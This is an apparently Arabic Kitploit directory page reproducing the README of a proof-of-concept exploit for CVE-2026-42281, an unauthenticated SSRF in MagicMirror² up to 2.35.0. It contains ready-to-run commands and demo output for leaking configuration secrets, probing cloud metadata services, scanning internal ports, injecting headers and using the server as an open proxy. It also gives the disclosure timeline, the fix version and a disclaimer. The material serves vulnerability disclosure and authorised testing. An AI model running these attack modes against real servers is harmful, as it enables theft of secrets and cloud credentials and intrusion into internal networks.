Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42281 — إثبات مفهوم لاستغلال CVE-2026-42281، وهو ثغرة SSRF غير مصادق عليها في MagicMirror² ≤ 2.35.0، تتيح استخراج الإعدادات، واستكشاف بيانات التعريف السحابية، وفحص الشبكة الداخلية. | Kitploit
أدوات/GitHubGitHub/astaruf/cve-2026-42281
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالفريق الأحمر
GitHubastaruf/cve-2026-42281

CVE-2026-42281

إثبات مفهوم لاستغلال CVE-2026-42281، وهو ثغرة SSRF غير مصادق عليها في MagicMirror² ≤ 2.35.0، تتيح استخراج الإعدادات، واستكشاف بيانات التعريف السحابية، وفحص الشبكة الداخلية.

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42281: MagicMirror² ≤ 2.35.0 - SSRF غير مصادق عليه عبر نقطة النهاية /cors

اكتشفه وأبلغ عنه: Astaruf

التقرير الكامل: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

التنبيه الرسمي: MagicMirrorOrg/MagicMirror security advisories

إدخال NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42281


يستضيف هذا المستودع برهان المفهوم (PoC) لاستغلال CVE-2026-42281، وهو SSRF غير مصادق عليه في MagicMirror² ≤ 2.35.0 يحوّل نقطة النهاية /cors إلى وكيل SSRF كامل الوظائف يصل إلى الحلقة المحلية (loopback) والشبكات الداخلية وخدمات البيانات الوصفية السحابية. مع تفعيل hideConfigSecrets: true، تقوم نفس نقطة النهاية أيضًا بتسريب قيم process.env.SECRET_* في طلب واحد.

لمراجعة الكود الكاملة، وتحليل الثغرة، وتفاصيل الإصلاح، والنزاع حول CVSS، والجدول الزمني، راجع التقرير الكامل على nstsec.com. يركز هذا README على كيفية استخدام برهان المفهوم (PoC).

برهان المفهوم

المتطلبات

  • Python 3.8+
  • لا توجد تبعيات خارجية (يستخدم المكتبة القياسية فقط)

البدء السريع

root@kitploit:~
# 1. تحقق من أن الهدف قابل للاستغلال
python3 poc.py -t http://target:8080 --check

# 2. تسريب إعدادات التطبيق (مع اكتشاف الأسرار تلقائيًا)
python3 poc.py -t http://target:8080 --config

# 3. فحص خدمات البيانات الوصفية السحابية على أكثر من 10 مزودين
python3 poc.py -t http://target:8080 --cloud

# 4. فحص المنافذ على الشبكة الداخلية عبر SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. إظهار إساءة استخدام الترويسات الواردة/الصادرة
python3 poc.py -t http://target:8080 --headers

# 6. استخدام الخادم كوكيل مفتوح عام
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

أوضاع الهجوم

العلمالوصف
--checkالتحقق من قابلية استغلال SSRF عبر جلب الحلقة المحلية لـ /version
--configSSRF لـ /config عبر الحلقة المحلية، تحليل JSON، والبحث عن مفاتيح API / رموز / كلمات مرور في إعدادات الوحدات
--cloudفحص خدمات البيانات الوصفية عبر AWS وGCP وAzure وOCI وDigitalOcean وAlibaba وHetzner وIBM وKubernetes وRancher وEquinix؛ متابعة تلقائية لتعداد أدوار AWS IAM
--port-scan HOSTSفحص مضيف واحد أو أكثر (-p 22,80 / -p 0-1024 / -p - لجميع منافذ 65535)، متعدد الخيوط
--headersالجزء أ: حقن ترويسات Authorization/X-* في الطلب الصادر عبر sendheaders. الجزء ب: إعادة توجيه Set-Cookie المتحكم بها من المهاجم من أصل خبيث إلى متصفح الضحية عبر expectedheaders
--open-proxy URLطلب SSRF عام GET إلى أي URL، وطباعة نص الاستجابة (مفيد لاستكشاف واجهات برمجة التطبيقات HTTP الداخلية)

خيارات إضافية

الخيارالافتراضيالوصف
-t / --targetمطلوبعنوان URL للهدف، مثال: http://192.168.1.10:8080
--timeout2.0مهلة كل طلب بالثواني
--threads30عدد الخيوط لـ --port-scan
--verboseمعطلطباعة استجابات JSON الكاملة (ونصوص البيانات الوصفية السحابية غير المنقحة)

العرض التوضيحي

1. شعار برهان المفهوم ووضع --check الذي يؤكد SSRF:

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — SSRF غير مصادق عليه عبر نقطة النهاية /cors
  المؤلف: Astaruf | https://nstsec.com

  CHECK، إمكانية الوصول إلى الهدف وتأكيد SSRF
  [*] التحقق من إمكانية الوصول إلى الهدف ...
  [+] الهدف قابل للوصول، MagicMirror 2.35.0
  [*] تأكيد SSRF عبر الحلقة المحلية ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] تم تأكيد SSRF، قام الخادم بجلب مورد داخلي نيابة عنا
      << 2.35.0

2. --config يسرب إعدادات التطبيق ويكتشف الأسرار تلقائيًا في إعدادات الوحدات:

root@kitploit:~
  تسريب الإعدادات، الإعدادات الكاملة عبر حلقة SSRF المحلية
  [+] تم استرداد الإعدادات، 1194 بايت
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] مفتوح لجميع عناوين IP

  الأسرار المكتشفة:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers يؤكد حقن الترويسات الصادرة والواردة:

root@kitploit:~
  حقن الترويسات، إساءة استخدام الترويسات الصادرة والواردة
  [*] الجزء أ: حقن ترويسات عشوائية في الطلبات الصادرة عبر sendheaders
  [+] تم تأكيد الترويسة X-Injected-By: SSRF-PoC في الطلب الصادر
  [+] تم تأكيد الترويسة Authorization: Bearer DEMO_TOKEN في الطلب الصادر

  [*] الجزء ب: إعادة توجيه ترويسات الاستجابة إلى المتصفح عبر expectedheaders
  [+] تم إعادة توجيه ترويسة الاستجابة Set-Cookie إلى المتصفح: session=hijacked;HttpOnly
  [+] يستقبل المتصفح ملف تعريف الارتباط هذا كما لو كان مصدره من نطاق MagicMirror

4. --open-proxy يؤكد HTTP الصادر من الخادم:

root@kitploit:~
  وكيل مفتوح، جلب https://httpbin.org/ip عبر الخادم الضعيف
  [+] HTTP 200، تم استلام 32 بايت من الخادم

{
  "origin": "<عنوان IP العام للخادم، وليس عنوان المهاجم>"
}

ملاحظات للاختبار

  • يرسل --check (وكل وضع آخر) طلب SSRF إلى الحلقة المحلية http://127.0.0.1:<port>/version. عند الاختبار عبر Docker، تأكد من أن منفذ المضيف يطابق المنفذ داخل الحاوية (مثال: قم بتعيين 8080:8080، وليس 8081:8080)، وإلا فلن يتمكن هدف الحلقة المحلية من الحل من داخل الحاوية حتى لو كانت النسخة ضعيفة فعليًا.
  • --cloud ضد نسخة غير سحابية (Raspberry Pi، خادم فعلي) لا ينتج أي نتائج — هذا متوقع ويقوم السكربت بالإبلاغ عنه صراحةً. المتجه موجود؛ يتطلب اختباره نشرًا سحابيًا حقيقيًا.

الإصلاح

تم إصداره في MagicMirror² v2.36.0 (صدر في 30 أبريل 2026). الإصلاح متعدد الطبقات عبر ستة طلبات سحب (PRs) (#4084, #4087, #4090, #4091, #4102, #4104). راجع التقرير الكامل لتفاصيل كل طلب سحب، ومقتطفات الكود، ومصفوفة التحقق من محاولات التحايل التي أعيد اختبارها ضد النسخة المصححة.

الجدول الزمني

التاريخالحدث
2026-03-30اكتشاف الثغرة، فتح قضية عامة، إرسال بريد إلكتروني إلى المشرف
2026-03-31المشرف أقر باستلام التقرير
2026-04-01أضاف المشرفون ملف SECURITY.md وفعّلوا GitHub Security Advisories على المستودع
2026-04-09فتح تنبيه GHSA رسمي
2026-04-26تأكيد الإصلاح للإصدار القادم. تم تعيين CVE-2026-42281 بواسطة GitHub
2026-04-26نزاع حول CVSS — تم رفع المتجه من Moderate إلى 9.2 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30إصدار MagicMirror² v2.36.0، نشر الإصلاح علنًا
2026-05-04الكشف العام (التقرير + مستودع برهان المفهوم)

المراجع

  • التقرير الكامل — nstsec.com
  • CVE-2026-42281 — NVD
  • المستودع الرسمي لـ MagicMirror²
  • ملاحظات إصدار MagicMirror² v2.36.0
  • CWE-918: تزوير الطلبات من جانب الخادم
  • OWASP — تزوير الطلبات من جانب الخادم

إخلاء المسؤولية

هذه المادة مقدمة لأغراض اختبار الأمان المصرح به والتعليم فقط. استخدمها فقط ضد نسخ MagicMirror² التي تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.

الترخيص

MIT

تنزيل الأداة